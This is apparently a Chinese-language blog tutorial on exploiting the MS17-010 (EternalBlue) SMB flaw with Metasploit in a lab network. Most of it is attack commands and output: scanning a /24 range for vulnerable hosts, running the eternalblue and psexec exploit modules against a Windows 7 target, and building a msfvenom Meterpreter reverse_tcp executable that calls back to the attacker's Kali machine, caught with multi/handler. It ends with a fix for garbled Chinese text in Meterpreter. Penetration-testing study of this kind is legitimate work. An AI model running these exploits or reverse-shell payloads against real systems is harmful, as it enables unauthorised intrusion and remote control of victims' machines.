Metasploit-ms17-010 永恒之蓝
永恒之蓝是去年玩剩下的了,记得当初刚刚泄露的时候,用的是 NSA 那个 fb.py 脚本去复现漏洞的。现在 Metasploit 里面已经集成了 17-010 漏洞,渗透测试更加方便与正式化,内网中用 17-010 去测一测会发现意外惊喜哦。
起初在 Docker 环境下最后执行 exploit 的时候总是拿不到 sessions,换了很多系统失败了很多次。后来果断感觉是 Docker 环境的问题,于是用虚拟机下的 Kali 测试,最后测试成功~~~ ~~ 所以测试的时候尽量少用 Docker 环境下的 Kali 来监听反弹的 sessions 哦~~ 后来给幸安哥描述了这个情况,得到答复是 docker 做这个反弹 shell 监听得把 445 端口映射出来才可以~~ 涨姿势了。关于端口映射后面会单独写文章来介绍,关于 msf 一些高级用法本打算写在这篇文章里面的,后来发现有的冗余了,准备另开文章来写。
Metasploit 正题
搜索相关的漏洞插件
msf > search 17-010
搜索到了 4 个相关的插件:
- auxiliary/admin/smb/ms17_010_command
- auxiliary/scanner/smb/smb_ms17_010
- exploit/windows/smb/ms17_010_eternalblue
- exploit/windows/smb/ms17_010_psexec
其中前 2 个插件是auxiliary
目录下的,属于辅助验证程序。
3 和 4 是exploit
目录下的,这才是我们重点研究的对象~
使用辅助验证插件测试
这里就拿auxiliary/scanner/smb/smb_ms17_010
这个扫描插件来测试,这个插件的作用是扫描可能含有 ms17-010 漏洞的服务器。
msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true yes Check for architecture on vulnerable hosts
CHECK_DOPU true yes Check for DOUBLEPULSAR on vulnerable hosts
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
这里的show options
是显示这个插件相关的一些参数,在Required
这一栏下面是yes
的表示必填参数,这里面还剩RHOSTS
这个参数没有填写即目标网段。下面设置一个目标网段,准备进行扫描测试:
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.55.1/24
RHOSTS => 10.10.55.1/24
设置扫描线程,插件默认是1
,这里设置为50
:
msf auxiliary(scanner/smb/smb_ms17_010) > set THREADS 50
THREADS => 50
可以执行show options
查看自己刚刚填写的参数信息:
开始执行插件:
msf auxiliary(scanner/smb/smb_ms17_010) > run
或者
msf auxiliary(scanner/smb/smb_ms17_010) > exploit
使用 exploit 模块来进行攻击测试
exploit/windows/smb/ms17_010_eternalblue
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > run
exploit/windows/smb/ms17_010_psexec
msf > use exploit/windows/smb/ms17_010_psexec
msf exploit(windows/smb/ms17_010_psexec) > set RHOST 10.10.55.174
RHOST => 10.10.55.174
msf exploit(windows/smb/ms17_010_psexec) > run
失败~~
msf exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 10.101.177.185:4444
[*] 10.10.55.174:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[-] 10.10.55.174:445 - Unable to find accessible named pipe!
[*] Exploit completed, but no session was created.
黑客组织 Shadow Brokers 公布了美国国家安全局 NSA 的内部黑客工具和漏洞利用代码,包括三大工具 EternalChampion、EternalRomance 和 EternalSynergy,近日一位安全研究人员 Sean Dillon(RiskSense) 改良了这三大黑客工具的源代码,使其适用于 Windows 2000 之后 20 年间的所有微软操作系统,包括 32 位和 64 位版本。
这里我随便测试了没有成功,可能是这里我测试的 win7 版本有点不一样,和官方介绍的所有版本略微有点不一样~~ 不过在测试Server 08 R2
版本的时候执行效率很高,可以很快拿到反弹的 shell。所以具体改良了哪些建议实际动手去测试一番。
msf 简单反弹 shell 模板
kali 操作机器的 ip 地址是:10.101.177.185
,将 shell 会话转到 kali 的6666
端口上。
生成 payload
payload 生成有 32 位和 64 位,所以生成的时候得明确目标系统的位数,否则运行或者拿到会话的时候回 GG, 服务器那边弹出停止响应的运行框。
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.101.177.185 LPORT=6666 -f exe > shell.exe
然后把生成的 shell.exe 拷贝到 Windows 下面,准备运行~
32 位 payload 的生成语句就是
windows/meterpreter/reverse_tcp
去掉x64
监听 shell 会话
msf > use exploit/multi/handler
msf > set LHOST 10.0.0.103
msf > set LPORT 6666
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > exploit
[*] Started reverse TCP handler on 10.101.177.185:6666
运行 shell.exe
这个时候在 windows 下点击之前生成的shell.exe
,msf 这里会劫持到会话。
32 位系统,这里做如下调整:
set PAYLOAD windows/meterpreter/reverse_tcp
去掉x64
meterpreter 汉字乱码问题
成因
Linux 下面汉字默认是 UTF-8 编码
Windows 下汉字使用的是 GBK 系列编码
解决方案
然后将终端临时设置为 GBK 系列编码即可。